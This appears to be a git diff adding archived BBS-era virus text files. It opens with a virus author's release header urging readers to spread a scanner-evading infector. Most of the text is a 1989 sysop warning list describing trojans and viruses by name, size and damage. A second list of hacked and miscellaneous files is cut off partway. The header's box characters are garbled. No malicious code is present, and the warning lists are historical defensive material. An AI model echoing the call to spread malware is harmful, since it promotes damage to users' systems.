<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ
|
||||
<EFBFBD> <20>/<2F> Executable Information <20>\<5C> <20>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ķ
|
||||
<EFBFBD> Virus / Trojan Name : The Greetings Virus <20>
|
||||
<EFBFBD> Author / Modification By : Admiral Bailey <20>
|
||||
<EFBFBD> Language Used : Assembly Language [TASM 2.0] <20>
|
||||
<EFBFBD> Type of Virus / Trojan : Encrypted TSR com/exe infector. <20>
|
||||
<EFBFBD> Date Of Release : 1-2-93 <20>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ķ
|
||||
<EFBFBD> Some Notes: <20>
|
||||
<EFBFBD> This here is a TSR com/exe infector. Between certain times it will <20>
|
||||
<EFBFBD> display a bouncing ball. Both on graphics (which it will ruin) and in text.<2E>
|
||||
<EFBFBD> When you reboot during a certain time it shall display a certain messege. <20>
|
||||
<EFBFBD> Well just enjoy and spread this. As of scan 99 its unscannable. If you <20>
|
||||
<EFBFBD> have any comments you can reach me on the YAM WHQ. The Full Moon. [416] <20>
|
||||
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ
|
||||
|
530
textfiles.com/virus/guardian.bbs
Normal file
530
textfiles.com/virus/guardian.bbs
Normal file
@@ -0,0 +1,530 @@
|
||||
----------------------------------------------------------------
|
||||
| THE GUARDIAN LIST |
|
||||
| |
|
||||
| -- An Abbreviated Trojan Alert List |
|
||||
| to be used as a BULLETIN on BBS's |
|
||||
----------------------------------------------------------------
|
||||
| Issue #01: November 12, 1989|
|
||||
| By Tom Sirianni, |
|
||||
| and Those Sysops of FidoNet & LCRNET Revision Stage `C'|
|
||||
----------------------------------------------------------------
|
||||
|
||||
NAME CATEGORY NOTES
|
||||
-------------- -------- ---------------------------------------
|
||||
|
||||
3X3SHR *TROJAN Time Bomb type trojan wipes the [Hard]
|
||||
Drive clean. File size is 78,848.
|
||||
|
||||
ANTI-PCB *TROJAN The story behind this trojan horse is
|
||||
sickening. Apparently one RBBS-PC
|
||||
sysop and one PC-BOARD sysop started
|
||||
feuding about which BBS system was
|
||||
better, and in the end the PC-BOARD
|
||||
sysop wrote a trojan and uploaded it to
|
||||
the rbbs SysOp under ANTI-PCB.COM. Of
|
||||
course the RBBS-PC SysOp ran it, and
|
||||
that led to quite a few accusations and
|
||||
a big mess in general. Let's grow up!
|
||||
Every SysOp has the right to run the
|
||||
type of BBS they please, and the fact
|
||||
that a SysOp actually wrote a trojan
|
||||
ntended for another sysop simply
|
||||
blows my mind.
|
||||
|
||||
ARC2ZIP.EXE VIRUS This Lehigh Virus strain that attacks
|
||||
the COMMAND.COM and is used in
|
||||
converting ARCed files to ZIPed files.
|
||||
This file also copies itself into the
|
||||
ZIPed file while remaining a TSR within
|
||||
COMMAND.COM. Also it is always looking
|
||||
for COMMAND.COM on a FLOPPY diskette, so
|
||||
it has two ways to infect.
|
||||
|
||||
ARC513.EXE *TROJAN This hacked version of ARC appears
|
||||
normal, so beware! It will write over
|
||||
track 0 of your [hard] disk upon usage,
|
||||
destroying the disk.
|
||||
|
||||
ARC514.COM *TROJAN This is very similar to ARC version
|
||||
5.13 in that it will overwrite track 0
|
||||
(FAT Table) of your [Hard] disk. Also, I
|
||||
have yet to see an .EXE version of this
|
||||
program.
|
||||
|
||||
ARC533.EXE VIRUS This is a new Virus program designed to
|
||||
emulate Sea's ARC program. It infects
|
||||
OMMAND.COM. Lehigh Virus Type.
|
||||
|
||||
BACKTALK *TROJAN This program used to be a good PD
|
||||
utility, but someone changed it to be
|
||||
trojan. Now this program will write/
|
||||
destroy sectors on your [hard] disk
|
||||
drive. Use this with caution if you
|
||||
acquire it, because it's more than
|
||||
likely that you got a bad copy.
|
||||
|
||||
B30012A.ARC *TROJAN Was supposed to be a Quick BBS utilty
|
||||
to handle 300 baud Users. But what it
|
||||
really does is delete many of the
|
||||
general directories used by a Quick
|
||||
BBS system.
|
||||
|
||||
CDIR.COM *TROJAN This program is supposed to give you a
|
||||
color directory of files on your disk,
|
||||
but it in fact will scramble your disk's
|
||||
File Allocation Table (FAT).
|
||||
|
||||
D-XREF60.COM TROJAN A Pascal Utility used for Cross-
|
||||
Referencing, written by the infamous
|
||||
Dorn Stickel. It eats the FAT and
|
||||
BOOT sector after a time period has
|
||||
been met and if the [Hard] Drive is more
|
||||
than half full.
|
||||
|
||||
DANCERS.BAS *TROJAN This trojan shows some animated dancers
|
||||
in color, and then proceeds to wipe out
|
||||
your [hard] disk's FAT table. There is
|
||||
another perfectly good copy of DANCERS.
|
||||
BAS on BBS's around the country; appar-
|
||||
ently the idiot trojan author altered a
|
||||
legitimate program to do the dirty work.
|
||||
|
||||
DISKSCAN.EXE TROJAN This was a PC-MAGAZINE program to scan
|
||||
a [hard] disk for bad sectors, but then
|
||||
a joker edited it to WRITE bad sectors
|
||||
Also look for this under other names
|
||||
such as SCANBAD.EXE and BADDISK.EXE. A
|
||||
good original copy is availble on SCP
|
||||
Business BBS.
|
||||
|
||||
DMASTER *TROJAN This is yet another FAT scrambler.
|
||||
|
||||
DOSKNOWS.EXE *TROJAN I'm still tracking this one down --
|
||||
apparently someone wrote a FAT killer
|
||||
and renamed it DOSKNOWS.EXE, so it
|
||||
would be confused with the real,
|
||||
harmless DOSKNOWS system-status
|
||||
utility. All I know for sure is that
|
||||
the REAL DOSKNOWS.EXE is 5376 bytes
|
||||
long. If you see something called
|
||||
DOSKNOWS that isn't close to that size,
|
||||
sound the alarm.
|
||||
|
||||
DOS-HELP TROJAN This trojan, when made memory-resident,
|
||||
is supposed to display a DOS command
|
||||
that the User needs help with. Works fine
|
||||
on a Diskette system, but on a [Hard]
|
||||
DRIVE system, it tries to format the
|
||||
[Hard] Disk with every access of
|
||||
DOS-HELP.
|
||||
|
||||
DPROTECT *TROJAN Apparently someone tampered with the
|
||||
original, legitimate version of
|
||||
DPROTECT and turned it into a FAT
|
||||
eater. A good version is available
|
||||
on SCP Business BBS.
|
||||
|
||||
DRAIN2 *TROJAN There really is a DRAIN program, but
|
||||
this revised program goes out does a Low
|
||||
Level Format while it is playing the
|
||||
funny program.
|
||||
|
||||
DROID.EXE *TROJAN This trojan appears under the guise of
|
||||
a game. You are supposedly an architect
|
||||
who controls futuristic droids in search
|
||||
of relics. In fact, PC-Board sysops (if
|
||||
they run this program from C:\PCBOARD)
|
||||
will find that it copies C:\PCBOARD\
|
||||
PCBOARD.DAT to C:\PCBOARD\HELP\HLPX. The
|
||||
.EXE file is 54,272 bytes.
|
||||
|
||||
DRPTR.ARC TROJAN File found on two boards in the 343
|
||||
Net. After running unsuspected file,
|
||||
the only things left in the Sysop's
|
||||
root directory were the subdirectories
|
||||
and two of the three DOS System files,
|
||||
along with a 0-byte file named
|
||||
WIPEOUT.YUK. The Sysop's COMMAND.COM
|
||||
was located in a different directory;
|
||||
the file date and CRC had not changed.
|
||||
|
||||
DSZ (Patch) *CAREFUL The author of this protocol program,
|
||||
Chuck Forsberg, warns that anyone using
|
||||
an Unregistered version of DSZ that was
|
||||
HACKED with a downloaded PATCH to make
|
||||
it work fully, might get a SCRAMBLED FAT.
|
||||
Seems someone created the HACK PATCH and
|
||||
then uploaded it to BBS's. *BEWARE* of
|
||||
the PATCH! It is not the DSZ program that
|
||||
does the dirty work, but the invalid PATCH.
|
||||
|
||||
EGABTR *TROJAN BEWARE! Description says something like
|
||||
"improve your EGA display," but when
|
||||
run, it deletes everything in sight and
|
||||
prints, "Arf! Arf! Got you!"
|
||||
|
||||
EMMCACHE *CAREFUL This program is not exactly a trojan,
|
||||
but it (v. 1.0) may have the capability
|
||||
of destroying [Hard] disks by:
|
||||
A) Scrambling every file modified after
|
||||
running the program.
|
||||
B) Destroying boot sectors.
|
||||
This program has damaged at least two
|
||||
[Hard] disks; yet there is a base of
|
||||
happily registered users. Therefore,
|
||||
extreme caution is advised if you decide
|
||||
to use this program.
|
||||
|
||||
FILER.EXE *TROJAN One SysOp complained a while ago that
|
||||
this program wiped out his 20 Megabyte
|
||||
[Hard] disk. I'm not so sure that he was
|
||||
correct and/or telling the truth any
|
||||
more. I have personally tested an
|
||||
excellent file manager also named
|
||||
FILER.EXE, and it worked perfectly.
|
||||
Also, many other SysOp's have written
|
||||
to tell me that they have like me used
|
||||
a FILER.EXE with no problems. If you
|
||||
get a program named FILER.EXE, it is
|
||||
probably alright, but better to test it
|
||||
first using some security measures.
|
||||
|
||||
FILES.GBS CAREFUL When an OPUS BBS system is installed
|
||||
improperly, this file could spell
|
||||
disaster for the Sysop. It can let a
|
||||
user of any level into the system.
|
||||
Protect yourself. Best to have a
|
||||
sub-directory in each upload area
|
||||
called c:\upload\files.gbs (this is an
|
||||
example only). This would force Opus to
|
||||
rename a file upload of files.gbs and
|
||||
prevent its usage.
|
||||
|
||||
FINANCE4.ARC *CAREFUL This program is not a verified trojan;
|
||||
there is simply a file going around
|
||||
BBS's warning that it may be a trojan.
|
||||
In any case, exercise extreme care with
|
||||
it.
|
||||
|
||||
FLU4TXT.COM TROJAN Man, when I thought we had it licked!
|
||||
This Trojan was inserted into the
|
||||
FluShot4.ARC and uploaded to many
|
||||
BBS's. FluShot is a protector of your
|
||||
COMMAND.COM. The author of FluShot
|
||||
posted this Trojan warning, and I am
|
||||
posting it here in the GL. If you need
|
||||
a good copy, you can get it from here--
|
||||
SCP Business BBS--or on COMPUSERVE.
|
||||
|
||||
FOX2.ARC TROJAN The show program was put into the FOX
|
||||
(SHOW.COM) archive to display a porono on VGA.
|
||||
While doing so it corrupts the FAT of
|
||||
the HD. Even NU can not recover it. A
|
||||
FAT recover program like MIRROR has
|
||||
not yet been tested for it.
|
||||
Name Size Date
|
||||
Show.com 14562 06/02/85
|
||||
|
||||
FUTURE.BAS *TROJAN This "program" starts out with a very
|
||||
nice color picture (of what, I don't
|
||||
know) and then proceeds to tell you
|
||||
that you should be using your computer
|
||||
for better things than games and
|
||||
graphics. After making that point, it
|
||||
trashes your A: drive, and B:, C:, D:
|
||||
drives until it has erased all drives.
|
||||
It does not go after the FAT alone; it
|
||||
also erases all of your data. As far
|
||||
as I know, however, it erases only one
|
||||
sub-directory tree level deep, thus
|
||||
[Hard] disk users should only be
|
||||
seriously affected if they are in the
|
||||
"root" directory. I'm not sure about
|
||||
this one either, though.
|
||||
|
||||
GATEWAY2 *TROJAN Someone tampered with version 2.0 of
|
||||
the CTTY monitor GATEWAY. What it
|
||||
does is ruin the FAT. If you need a
|
||||
good copy, you can file-request it or
|
||||
pick one up from 105/301--SCP Business
|
||||
BBS.
|
||||
|
||||
GRABBER TROJAN This program is supposed to be a SCREEN
|
||||
CAPTURE program that copies the screen
|
||||
to a .COM to be run later from the DOS
|
||||
command line. As a TSR, it will also
|
||||
attempt to do a DISK WRITE to the [Hard]
|
||||
drive when you do not want it to. It
|
||||
will wipe whole Directories when doing
|
||||
a normal DOS command. One sysop who
|
||||
ran it lost all of his ROOT directory
|
||||
including his SYSTEM files. The file
|
||||
status is :
|
||||
Name Size Date Time
|
||||
GRABBER.COM 2583 05/28/87 22:10
|
||||
|
||||
GRASPRT.EXE VIRUS This file was in a porno file called
|
||||
SEXSHOE.LZH originating from PC-EXEC
|
||||
BBS. The Sysop took it off, but it had
|
||||
been downloaded by a few people. This is
|
||||
one of the Jerusalem-B Virus strains.
|
||||
The status is:
|
||||
Name Size Date Time
|
||||
GRASPRT.EXE 73376 06/03/86 09:49
|
||||
|
||||
G-MAN TROJAN Another FAT killer.
|
||||
|
||||
HEART.EXE VIRUS Infected with the Israeli Virus.
|
||||
Displays the HEART logo on CGA monitor
|
||||
while infecting the HD. File is found
|
||||
on some SHAREWARE houses watch for it.
|
||||
Name Size Date
|
||||
HEART.EXE 13744 ?????
|
||||
|
||||
JIV40.LZH VIRUS Hacked propgram of JIV - current real
|
||||
program is v3.3 NOT v4.0 - It is also
|
||||
infected by a Virus which attaches to
|
||||
any .COM file it can find.
|
||||
|
||||
KC-PAL.COM TROJAN Infects the COMMAND.COM and then attaches
|
||||
to any .COM file afterward using the
|
||||
COMMAND.COM during its use of Internal
|
||||
commands (COPY, DIR, TYPE, etc.). The
|
||||
COMMAND.COM files are enlarged in size
|
||||
by 1538 bytes, and in the Time column
|
||||
of the directory, listing the seconds
|
||||
is reset from :00 to :62.
|
||||
|
||||
LM TROJAN Deletes the COMMAND.COM and other
|
||||
files from the ROOT directory of the
|
||||
[Hard] Drive when the program runs.
|
||||
|
||||
MAP TROJAN This is another trojan horse written by
|
||||
the infamous Dorn Stickel. Designed
|
||||
to display what TSR's are in memory and
|
||||
works on FAT and BOOT sectors. Also
|
||||
seems towork only when the [Hard] Drive
|
||||
is 50 percent full or more.
|
||||
|
||||
MATHKIDS.ARC *TROJAN This is a fairly benign trojan that
|
||||
will not reformat your [Hard] disks or
|
||||
do any system-level damage. Instead,
|
||||
it is designed to crack a BBS system. It
|
||||
will attempt to copy the USER file on
|
||||
a BBS to a file innocently called
|
||||
FIXIT.ARC, which the originator can
|
||||
later call in and download. Believed
|
||||
to be designed for PCBoard BBS's.
|
||||
|
||||
MOUSEKEY.COM VIRUS Mouse device program infected with the
|
||||
CASCADE type virus.
|
||||
|
||||
NORTSHOT.ZIP TROJAN A supposed VIRUS checker - while
|
||||
NORTSTOP.ZIP listing the DIR during its check
|
||||
displays that the disk is Virus Free -
|
||||
but during Dec. 24th and Dec. 31st it
|
||||
will ERASE files in several DIR's
|
||||
based on their extension. NORTSHOT.ZIP
|
||||
and NORTSTOP.ZIP are same file.
|
||||
Name Size Date
|
||||
NORTSTOP.EXE 38907 ?????
|
||||
|
||||
NOTROJ.COM *TROJAN This "program" is the most sophisti-
|
||||
cated trojan horse that I've seen to
|
||||
date. All outward appearances indicate
|
||||
that the program is a useful utility
|
||||
used to FIGHT other trojan horses.
|
||||
Actually, it is a time bomb that erases
|
||||
any [Hard] disk FAT IT can find and,
|
||||
at the same time, it warns: "another
|
||||
program is attempting a format, can't
|
||||
abort! After erasing the FAT(s),
|
||||
NOTROJ then proceeds to start a low
|
||||
level format. One extra thing to note:
|
||||
NOTROJ only damages FULL [Hard] drives;
|
||||
if a [Hard] disk is under 50 percent
|
||||
full, this program won't touch it!
|
||||
If you are interested in reading a
|
||||
thorough report on NOTROJ.COM, James H.
|
||||
Coombes has written an excellent text
|
||||
file on the matter named NOTROJ.TXT.
|
||||
If you have trouble finding it, you
|
||||
can get it from SCP Business BBS.
|
||||
|
||||
PACKDIR *TROJAN This utility is supposed to "pack"
|
||||
(sort and optimize) the files on a
|
||||
[hard] disk, but apparently it
|
||||
scrambles FATs.
|
||||
|
||||
PCW271xx.ARC *TROJAN A modified version of the popular
|
||||
PC-WRITE word processor (v. 2.71) has
|
||||
now scrambled at least 10 FAT tables
|
||||
that I know of. If you want to
|
||||
download version 2.71 of PC-WRITE, be
|
||||
very careful! The bogus version can be
|
||||
identified by its size; it uses 98,274
|
||||
bytes whereas the good version uses
|
||||
98,644. For reference, version 2.7 of
|
||||
PC-WRITE occupies 98,242 bytes.
|
||||
|
||||
PKX35B35.ARC } *TROJAN This was supposed to be an update to
|
||||
PKB35B35.ARC } *VIRUS PKARC file compress utility. When it is
|
||||
run, it *EATS your FATS* and is said to
|
||||
to infect other files so it can spread.
|
||||
Possible VIRUS.
|
||||
|
||||
PKPAK/PKUNPAK *CAREFUL There is a TAMPERED version of 3.61
|
||||
v3.61 that interferes with PC's interrupts.
|
||||
|
||||
PKFIX361.EXE *TROJAN Supposed patch to v3.61. What it really
|
||||
does when it is extracted from the .EXE
|
||||
file is do DIRECT access to the DRIVE
|
||||
CONTROLLER to perform a Low-Level format,
|
||||
thereby bypassing checking programs.
|
||||
|
||||
PK362.EXE *CAREFUL This is a NON-RELEASED version and is
|
||||
suspected as being a *TROJAN*. Not
|
||||
verified.
|
||||
|
||||
PK363.EXE *CAREFUL This is a NON-RELEASED version and is
|
||||
suspected as being a *TROJAN*. Not
|
||||
verified.
|
||||
|
||||
PKZ100.EXE TROJAN Supposed to be a new release of PKZIP,
|
||||
but what it really does is fill up
|
||||
your [Hard] drive with many directories
|
||||
until the system no longer functions.
|
||||
The current version is PKZIP v.092.
|
||||
|
||||
PKZ120.EXE TROJAN Modeifies the AREAS.BBS of BBS's that
|
||||
use such a file. Replaces addreses in
|
||||
that file with dummy addreses. then
|
||||
deletest itself to avoid any way to
|
||||
desipher how it works.
|
||||
Name Size Date
|
||||
PKZ120.EXE 172,000approx. 09/13/89
|
||||
|
||||
QUIKRBBS.COM *TROJAN This Trojan horse advertises that it
|
||||
will install a program to protect your
|
||||
RBBS but it does not. It goes and eats
|
||||
away at the FAT instead.
|
||||
|
||||
QUIKREF *TROJAN This ARChive contains ARC513.COM.
|
||||
It is supposed to load RBBS-PC's message
|
||||
file into memory two times faster than
|
||||
normal. What it really does is copy the
|
||||
RBBS-PC.DEF into an ASCII file named
|
||||
HISCORES.DAT.
|
||||
|
||||
RCKVIDEO *TROJAN This is another trojan that does what
|
||||
it's supposed to do, and then wipes out
|
||||
[Hard] disks. After showing some simple
|
||||
animation of a rock star ("Madonna," I
|
||||
think), the program will go to work on
|
||||
erasing every file it can lay it's
|
||||
hands on. After about a minute of this,
|
||||
it will create three ASCII files that
|
||||
say, "You are stupid to download a
|
||||
video about rock stars," or something
|
||||
of the like.
|
||||
|
||||
SECRET.BAS *TROJAN BEWARE!! This may be posted with a note
|
||||
saying it doesn't seem to work, and
|
||||
would someone please try it; when you
|
||||
do, it formats your disks.
|
||||
|
||||
SIDEWAYS.COM *TROJAN Be careful with this trojan; there is a
|
||||
perfectly legitimate version of
|
||||
SIDEWAYS.EXE circulating. Both the
|
||||
trojan and the good SIDEWAYS advertise
|
||||
that they can print sideways, but
|
||||
SIDEWAYS.COM will trash a [hard] disk's
|
||||
boot sector instead. The trojan .COM
|
||||
file is about 3 KB, whereas the
|
||||
legitimate .EXE file is about 30 KB
|
||||
large.
|
||||
|
||||
STAR.EXE *TROJAN Beware RBBS-PC SysOps! This file puts
|
||||
some stars on the screen while copying
|
||||
RBBS-PC.DEF to another name that can be
|
||||
downloaded later!
|
||||
|
||||
STRIPES.EXE *TROJAN Similar to STAR.EXE, this one draws an
|
||||
American flag (nice touch), while it's
|
||||
busy copying your RBBS-PC.DEF to
|
||||
another file (STRIPES.BQS) so the joker
|
||||
can log in later, download STRIPES.BQS,
|
||||
and steal all your passwords. Nice, huh?
|
||||
|
||||
SUG.COM TROJAN This one is supposed to go out and
|
||||
unprotect copy protected programs disks
|
||||
by Softguard Systems, Inc. After it
|
||||
trashes your disk, it comes back and
|
||||
displays:
|
||||
"This destruction constitutes a prima
|
||||
facie evidence of your violation. If
|
||||
you attempt to challenge Softguard
|
||||
Systems Inc..., you will be vigorously
|
||||
counter-sued for copyright infringement
|
||||
and theft of services."
|
||||
AND it by-passes any attempt by CHK4BOMB
|
||||
to search for the any hidden messages
|
||||
that tell you, "YOU BEEN HAD... or
|
||||
GOTCHA>>> Ar..Ar..Ar... It encrypts the
|
||||
Gotcha message so no Trojan checker can
|
||||
scan for it.
|
||||
|
||||
TIRED *TROJAN Another scramble-the-FAT trojan by Dorn
|
||||
W. Stickel.
|
||||
|
||||
TOPDOS *TROJAN This is a simple high level [hard] disk
|
||||
formatter.
|
||||
|
||||
TSRMAP *TROJAN This program does what it's supposed to
|
||||
do: give a map outlining the location
|
||||
(in RAM) of all TSR programs, but it
|
||||
also erases the boot sector of drive
|
||||
"C:".
|
||||
|
||||
ULTIMATE.EXE TROJAN Another FAT eater. File status:
|
||||
Name Size
|
||||
ULTIMATE.EXE 3090
|
||||
ULTIMATE.ARC 2432
|
||||
|
||||
UNIX VIRUS The UNIX operating system by Berkley,
|
||||
verson 4.3, is an INTERNET virus. A
|
||||
Patch is available on SCP Business
|
||||
BBS. This is the MAIL PACKET VIRUS.
|
||||
|
||||
VDIR.COM *TROJAN This is a disk killer that Jerry
|
||||
Pournelle wrote about in BYTE Magazine.
|
||||
I have never seen it, although a
|
||||
responsible friend of mine has.
|
||||
|
||||
VGA2CGA.ARC VIRUS CGA converter - infected with the
|
||||
AIDS/Hahaha - has been found on many
|
||||
USA West Coast BBS's.
|
||||
|
||||
VU.EXE *VIRUS Infected with the 1704-B Virus. Has not
|
||||
been confirmed. And is unkown what the
|
||||
file is supposed to do.
|
||||
|
||||
WOW *VIRUS Also known as the 1701 Virus. This
|
||||
is a new strain of the Lehigh Virus
|
||||
as it not only looks for COMMAND.COM,
|
||||
but any .COM file. As it does it, the
|
||||
infected file is enlarged 1,701 bytes
|
||||
in SIZE. The infection takes as you
|
||||
run the .COM. WOW is a TSR. What happens
|
||||
when you run WOW is that it displays an
|
||||
advertisement:
|
||||
""The Wizards of Warez"
|
||||
in assocoation with
|
||||
the copycats
|
||||
the Pirates Unlimited
|
||||
OUTRUN
|
||||
WOW 1989 "
|
||||
The virus is also known as WOWTITLE.
|
||||
|
||||
|
||||
<< END OF ABBREVIATED LIST>>
|
1032
textfiles.com/virus/guardian.vir
Normal file
1032
textfiles.com/virus/guardian.vir
Normal file
File diff suppressed because it is too large
Load Diff
169
textfiles.com/virus/hackmisc.9
Normal file
169
textfiles.com/virus/hackmisc.9
Normal file
@@ -0,0 +1,169 @@
|
||||
|
||||
------------------------------------------------------------------
|
||||
| HACKED/MISCELLANEOUS FILES: |
|
||||
| |
|
||||
| Issue #9: June 9, 1989 |
|
||||
| |
|
||||
| Maintained by Eric Newhouse |
|
||||
------------------------------------------------------------------
|
||||
| Hacked (H) -- See definitions |
|
||||
| Miscellaneous (M) -- See definitions |
|
||||
| |
|
||||
| TYPES: |
|
||||
| |
|
||||
| Careful (C) -- Not confirmed, caution advised. |
|
||||
| Game (G) -- Recreational software |
|
||||
| Patch (P) -- Modification to another program |
|
||||
| usually performed through debug. |
|
||||
| Text (T) -- Text / Documentation File |
|
||||
| Util (U) -- Utility of some sort |
|
||||
------------------------------------------------------------------
|
||||
|
||||
|
||||
Name Size Category Notes
|
||||
------------- ------ -- ----------------------------------------
|
||||
AUTOMAXX.ARC HC This DOS menu-making program comes with
|
||||
documentation that Marshall Magee, author
|
||||
of the popular AUTOMENU program, contends
|
||||
is plagiarized. Marshall believes that
|
||||
the AUTOMAXX documentation uses exact
|
||||
phrases from his documentation, and if
|
||||
this is the case, AUTOMAXX is clearly
|
||||
illegal. However, as I understand it,
|
||||
the courts are currently deliberating on
|
||||
the case, so AUTOMAXX is not currently
|
||||
illegal. of today. For more information,
|
||||
please contact Marshall Magee at (404)
|
||||
446-6611.
|
||||
|
||||
CLIPPER.ARC 186803 MU This is a Norton Guides module for
|
||||
CLIP_NG.ARC the Clipper Dbase Compiler. Nantucket,
|
||||
the makers of Clipper, forbid
|
||||
distribution.
|
||||
|
||||
COPYWRIT 2??? MP Although the real COPYWRITE is going
|
||||
around Bulletin Boards like fire, there
|
||||
is another illegal file under the same
|
||||
name. The former takes around 40 KB
|
||||
ARC-ed, whereas this takes about 2 KB.
|
||||
What I'm referring to is an archive of
|
||||
1-3 files that explains how to remove
|
||||
the serial numbers from copywrite. Now
|
||||
it's allright to "unprotect" a program
|
||||
for backup purposes, but removing serial
|
||||
numbers can only lead to piracy.
|
||||
|
||||
DOG101A.COM HC This may be hacked; keep an eye out
|
||||
for it as well as DOG102A.COM.
|
||||
|
||||
DOG102A.COM HC Apparently this is a renamed early
|
||||
version of DP102A.ARC, a disk optimizer.
|
||||
One person has reports that it trashes
|
||||
hard disks that use DOS 3.1 (2KB
|
||||
clusters).
|
||||
|
||||
FLUSH4.ARC H This is apparently FluShot v. 3.0. Be
|
||||
careful with this; it comes with a trojan
|
||||
horse disguised as self-executable
|
||||
documentation.
|
||||
|
||||
LIST60 H Vern Buerg's LIST 5.1, patched to read
|
||||
6.0. Mr. Buerg has released a legitimate
|
||||
version 6.0 of LIST. Every legit.
|
||||
version will have a letter in the
|
||||
filename (e.g. LIST60H.ARC)
|
||||
|
||||
LIST799 H Vern Buerg's LIST 5.1, patched to read
|
||||
7.99.
|
||||
|
||||
LOCKPICK MT This is a text file, usually with a
|
||||
.TXT extension, that casually explains
|
||||
how to pick locks. This is not
|
||||
illegal, but it's definitely in
|
||||
poor taste. It could be used as
|
||||
evidence against a burglar, though.
|
||||
|
||||
LZM11.EXE 37376 MU SysOps work hard to maintain BBS's and
|
||||
to offer quality programs to the general
|
||||
public. Although we all may not like
|
||||
upload/download ratios, common sense
|
||||
indicates that if a SysOp wants to
|
||||
maintain an upload/download ratio, then
|
||||
s/he has that right. LZM, or Leech
|
||||
Zmodem, attempts to circumvent this
|
||||
right. LZM downloads files using Chuck
|
||||
Foresburg's DSZ and aborts the transfer
|
||||
instantly after receiving the last block
|
||||
of information. Thus the BBS does not
|
||||
count the download against the callers
|
||||
account, thinking the download
|
||||
unsuccessful, and the caller winds up
|
||||
with a "free" copy of the file. SysOps,
|
||||
please unite against this menace. I
|
||||
strongly recommend that you threaten to
|
||||
permanently remove any caller you catch
|
||||
using LZM. Any version of DSZ later
|
||||
than 1/8/89 can detect and nullify LZM
|
||||
1.1. However, LZM 1.2 is already
|
||||
circulating boards and it reputedly
|
||||
defeats the 1/13/89 version of DSZ. Be
|
||||
Careful.
|
||||
|
||||
MONEY.ARC MT This text file claims that with minimal
|
||||
MONEY.TXT 11648 effort YOU can become a millionaire.
|
||||
This text file, as some of you may know,
|
||||
is simply another chain (pyramid) letter
|
||||
that is of course illegal. A pyramid
|
||||
writer sends a letter to four people
|
||||
requesting money. Then, according to
|
||||
the pyramid writer's plan, those four
|
||||
will send letters to four more asking
|
||||
for money for themselves and the
|
||||
original writer. Unfortunately when the
|
||||
chain breaks people lose money. What
|
||||
